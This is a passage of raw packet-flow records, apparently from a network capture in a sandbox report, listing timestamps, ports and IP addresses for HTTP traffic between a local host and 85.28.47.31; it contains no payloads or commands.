Jul 24, 2024 02:39:00.330790997 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330801964 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330806017 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330818892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330823898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330836058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330841064 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330852985 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330853939 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330871105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.330876112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330889940 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.330912113 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331103086 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331151962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331182003 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331198931 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331214905 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331223965 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331231117 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331237078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331248045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331257105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331264973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331270933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331283092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331285954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331298113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331305027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331319094 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331341028 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331675053 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331724882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331775904 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331794024 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331809044 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331825972 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331829071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331836939 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331841946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331854105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331859112 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331868887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331876993 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.331890106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331902027 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.331919909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332073927 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332091093 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332108021 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332123995 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332125902 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332133055 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332140923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332155943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332158089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332165003 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332186937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332202911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332446098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332500935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332520962 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332555056 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332572937 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332592964 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332628965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332645893 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332662106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332674980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332685947 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332705975 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332761049 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332792997 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.332808971 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.332829952 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.407349110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407396078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407438040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407454967 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407471895 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407502890 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407537937 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407553911 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407571077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407586098 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407603025 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407618046 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407634020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407649040 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407666922 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407699108 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407717943 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407752991 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.407787085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407819033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407852888 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.407989025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.407989025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.407989025 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.410701990 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.410774946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.410794973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.410810947 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.410829067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.410845041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.410866022 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411053896 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411134005 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411187887 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411221981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411282063 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411304951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411338091 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411361933 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411371946 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411387920 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411420107 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411441088 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411497116 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411504030 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411539078 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411554098 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411587954 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411606073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411633968 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411669970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411704063 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411725998 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411736965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411745071 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411770105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411782980 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411803961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.411820889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.411839962 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.412290096 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.412323952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.412345886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.412357092 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.412367105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.412405014 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.412409067 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.412442923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.412456036 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.412475109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.412504911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.412525892 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.412529945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.412579060 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.413779020 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.413809061 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.413832903 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.413842916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.413851023 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.413892031 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.413906097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.413938999 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.413960934 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.413971901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.413976908 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.414020061 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.414055109 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.414087057 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.414108038 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.414129972 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424242973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424309015 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424521923 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424554110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424578905 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424587011 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424599886 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424621105 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424635887 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424674034 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424700975 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424732924 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424758911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424766064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424777985 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424801111 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.424818993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424850941 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.424999952 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425031900 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425054073 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425065041 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425075054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425098896 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425112963 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425132036 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425144911 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425165892 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425178051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425199032 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425223112 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425230980 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425235987 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425265074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425277948 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425311089 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425426006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425478935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425606012 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425637007 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425661087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425668955 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425679922 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425702095 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425714016 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425735950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425755978 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425767899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425775051 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425801039 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425815105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425833941 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425847054 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425868034 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425880909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425899982 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425915956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425934076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.425944090 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.425980091 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.426829100 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.426862001 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.426883936 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.426893950 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.426899910 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.426925898 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.426940918 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.426960945 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.426973104 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.426994085 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427009106 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427026033 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427037001 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427061081 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427073956 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427109957 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427109957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427143097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427164078 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427184105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427191973 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427225113 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427247047 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427258015 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427265882 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427290916 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427304983 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427336931 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427340031 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427376986 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427390099 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427411079 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427423954 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427443981 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427460909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427476883 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427483082 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427505970 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427526951 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427540064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427555084 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427573919 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427582979 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427606106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427627087 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427639961 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427659988 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427671909 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427683115 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427705050 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427717924 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427746058 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.427752018 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.427798986 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.482242107 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.482290983 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.482325077 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.482410908 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.482445002 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.482446909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.482446909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.482446909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.482446909 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.482475996 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.482512951 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.482530117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.482530117 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.482556105 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.497572899 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.497617006 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.497653008 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.497687101 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.497720957 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.497754097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.497786045 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.497792006 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.497792959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.497792959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.497792959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.497792959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.497792959 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.497819901 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.497881889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.497881889 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.500713110 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.500746965 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.500780106 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.500906944 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.500907898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.500907898 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.501251936 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.501300097 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.501334906 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.501372099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.501425982 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.501426935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.501426935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.501426935 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511066914 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511115074 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511173010 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511205912 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511231899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511231899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511231899 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:00.511241913 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511274099 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:00.511305094 CEST	49730	80	192.168.2.4	85.28.47.31
